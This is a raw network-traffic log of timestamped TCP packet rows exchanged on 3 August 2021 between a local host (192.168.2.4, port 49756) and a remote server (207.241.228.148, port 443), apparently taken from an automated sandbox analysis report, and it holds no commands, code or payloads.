Aug 3, 2021 20:39:45.768702984 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.768717051 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.768723965 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.768733025 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.768767118 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.768779993 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.774059057 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.774085045 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.774097919 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.774110079 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.774125099 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.774141073 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.774156094 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.774171114 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.774185896 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.774200916 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.774216890 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.774235964 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.774251938 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.774267912 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.774282932 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.774297953 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.774328947 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.774333954 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.774343014 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.774358988 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.774379969 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.774396896 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.774396896 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.774414062 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.774430037 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.774445057 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.774449110 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.774458885 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.774473906 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.774488926 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.774501085 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.774507046 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.774523973 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.774539948 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.774554014 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.774569035 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.774573088 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.774583101 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.774597883 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.774600029 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.774612904 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.774624109 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.774631023 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.774646997 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.774658918 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.774662971 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.774677992 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.774681091 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.774693012 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.774707079 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.774709940 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.774720907 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.774735928 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.774781942 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.795835972 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.795871019 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.795898914 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.795921087 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.795944929 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.795968056 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.795991898 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.796014071 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.796036959 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.796058893 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.796057940 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.796083927 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.796084881 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.796089888 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.796093941 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.796103001 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.796118021 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.796130896 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.796133041 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.796147108 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.796148062 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.796163082 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.796178102 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.796180010 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.796195030 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.796216965 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.796227932 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.796233892 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.796253920 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.796258926 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.796268940 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.796284914 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.796298981 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.796304941 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.796323061 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.796329021 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.796350002 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.796356916 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.796366930 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.796381950 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.796392918 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.796396971 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.796412945 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.796418905 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.796427965 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.796446085 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.796457052 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.796463013 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.796478033 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.796503067 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.796533108 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.821824074 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.821846962 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.821923018 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.910218954 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.910274029 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.910379887 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.948537111 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.948570013 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.948592901 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.948613882 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.948633909 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.948669910 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.948759079 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.948777914 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.948848963 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.948865891 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.948893070 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.948910952 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.948926926 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.948993921 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.954546928 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.954571009 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.954590082 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.954607010 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.954622030 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.954638958 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.954653978 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.954660892 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.954668045 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.954684019 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.954699039 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.954705954 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.954718113 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.954735994 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.954740047 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.954756021 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.954771996 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.954787016 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.954802036 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.954818010 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.954823017 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.954832077 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.954850912 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.954866886 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.954883099 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.954884052 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.954898119 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.954911947 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.954914093 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.954926968 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.954942942 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.954945087 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.954957008 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.954973936 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.954974890 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.954992056 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.955002069 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.955007076 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.955022097 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.955035925 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.955037117 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.955058098 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.955065012 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.955080032 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.955096006 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.955101013 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.955127001 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.955157042 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.955161095 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.955176115 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.955190897 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.955204010 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.955205917 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.955220938 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.955235004 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.955235958 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.955250025 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.955265045 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.955276012 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.955282927 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.955298901 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.955308914 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.955313921 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.955343962 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.955372095 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.955836058 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.976788998 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.976836920 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.976865053 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.976891041 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.976891041 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.976917982 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.976943970 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.976977110 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.976999044 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.977005959 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.977031946 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.977058887 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.977085114 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.977088928 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.977109909 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.977135897 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.977160931 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.977163076 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.977165937 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.977169037 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.977169991 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.977173090 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.977186918 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.977196932 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.977226019 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.977226973 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.977252007 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.977272987 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.977277994 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.977296114 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.977299929 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.977304935 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.977328062 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.977330923 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.977354050 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.977355957 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.977380037 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.977382898 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.977402925 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.977442026 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.001435041 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.001492023 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.001566887 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.001665115 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.090212107 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.090244055 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.090312958 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.090344906 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.128917933 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.128983974 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.129025936 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.129035950 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.129069090 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.129082918 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.129095078 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.129139900 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.129148960 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.129194975 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.129201889 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.129245996 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.129256010 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.129300117 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.129307985 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.129354000 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.129369974 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.129416943 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.129426003 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.129473925 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.135185003 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.135232925 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.135284901 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.135289907 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.135309935 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.135341883 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.135344982 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.135401964 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.135405064 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.135462046 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.135478020 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.135505915 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.135520935 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.135545015 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.135586023 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.135651112 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.135657072 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.135710001 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.135755062 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.135763884 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.135776043 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.135814905 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.135818958 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.135867119 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.135870934 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.135921955 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.135921955 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.135968924 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.135977030 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.136023998 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.136034012 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.136080027 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.136094093 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.136172056 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.136204004 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.136218071 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.136221886 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.136276007 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.136317968 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.136336088 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.136351109 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.136392117 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.136414051 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.136451960 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.136470079 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.136512041 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.136514902 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.136578083 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.136579990 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.136637926 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.136641026 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.136697054 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.136704922 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.136754990 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.136758089 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.136811972 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.136816025 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.136873007 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.136874914 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.136931896 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.136935949 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.136991024 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.136995077 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.137061119 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.137077093 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.137113094 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.137121916 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.137160063 CEST	443	49756	207.241.228.148	192.168.2.4
